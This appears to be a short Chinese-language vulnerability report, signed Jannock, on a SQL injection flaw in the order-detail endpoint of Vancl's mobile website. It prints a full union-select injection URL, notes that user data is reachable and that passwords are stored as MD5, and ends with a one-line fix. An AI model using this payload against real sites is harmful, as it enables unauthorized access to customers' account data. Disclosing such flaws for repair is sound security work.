注入点在：
http://m.vancl.com/
 
注入地址：
http://m.vancl.com/order/GetOrderDetail/.mvc?orderid=orderid and 1=2 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3--&guid=guid
 
上面地址中：
orderid 和guid 就不提供了
 
可以直接union 查询库，www.2cto.com 而且是用户表和网站的没有分离，唉，作为这么大的站，用户信息的表怎么也得分离吧？不分离，只要有一个注入点，用户资料不就完了？
失望了。。。



 




 
这里只查了自己的号，密码是md5，弱呀。。。

修复方案：

加强输入参数验证检查

作者 Jannock